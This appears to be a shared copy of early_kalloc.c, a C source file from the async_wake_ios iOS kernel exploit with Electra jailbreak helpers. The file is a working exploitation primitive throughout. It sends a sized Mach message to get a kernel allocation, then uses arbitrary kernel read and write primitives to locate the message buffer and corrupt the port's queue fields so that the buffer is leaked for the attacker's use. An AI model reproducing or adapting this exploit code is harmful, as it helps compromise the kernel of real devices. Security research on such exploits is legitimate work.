early_kalloc.c 1.9 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970
  1. //
  2. // early_kalloc.c
  3. // async_wake_ios
  4. //
  5. // Created by Ian Beer on 12/11/17.
  6. // Copyright © 2017 Ian Beer. All rights reserved.
  7. //
  8. #include "early_kalloc.h"
  9. #include <stdio.h>
  10. #include <stdlib.h>
  11. #include <mach/mach.h>
  12. #include "find_port.h"
  13. #include "kmem.h"
  14. #include "symbols.h"
  15. extern int message_size_for_kalloc_size(int kalloc_size);
  16. // get a kalloc allocation before we've got a kcall interface to just call it
  17. uint64_t early_kalloc(int size) {
  18. mach_port_t port = MACH_PORT_NULL;
  19. kern_return_t err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
  20. if (err != KERN_SUCCESS) {
  21. printf("unable to allocate port\n");
  22. }
  23. uint64_t port_kaddr = find_port_address_electra(port, MACH_MSG_TYPE_MAKE_SEND);
  24. struct simple_msg {
  25. mach_msg_header_t hdr;
  26. char buf[0];
  27. };
  28. mach_msg_size_t msg_size = message_size_for_kalloc_size(size);
  29. struct simple_msg* msg = malloc(msg_size);
  30. memset(msg, 0, msg_size);
  31. msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
  32. msg->hdr.msgh_size = msg_size;
  33. msg->hdr.msgh_remote_port = port;
  34. msg->hdr.msgh_local_port = MACH_PORT_NULL;
  35. msg->hdr.msgh_id = 0x41414142;
  36. err = mach_msg(&msg->hdr,
  37. MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
  38. msg_size,
  39. 0,
  40. MACH_PORT_NULL,
  41. MACH_MSG_TIMEOUT_NONE,
  42. MACH_PORT_NULL);
  43. if (err != KERN_SUCCESS) {
  44. printf("early kalloc failed to send message\n");
  45. }
  46. // find the message buffer:
  47. uint64_t message_buffer = rk64_electra(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE));
  48. printf("message buffer: %llx\n", message_buffer);
  49. // leak the message buffer:
  50. wk64_electra(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE), 0);
  51. wk32_electra(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT), 0x50000); // this is two uint16_ts, msg_count and qlimit
  52. return message_buffer;
  53. }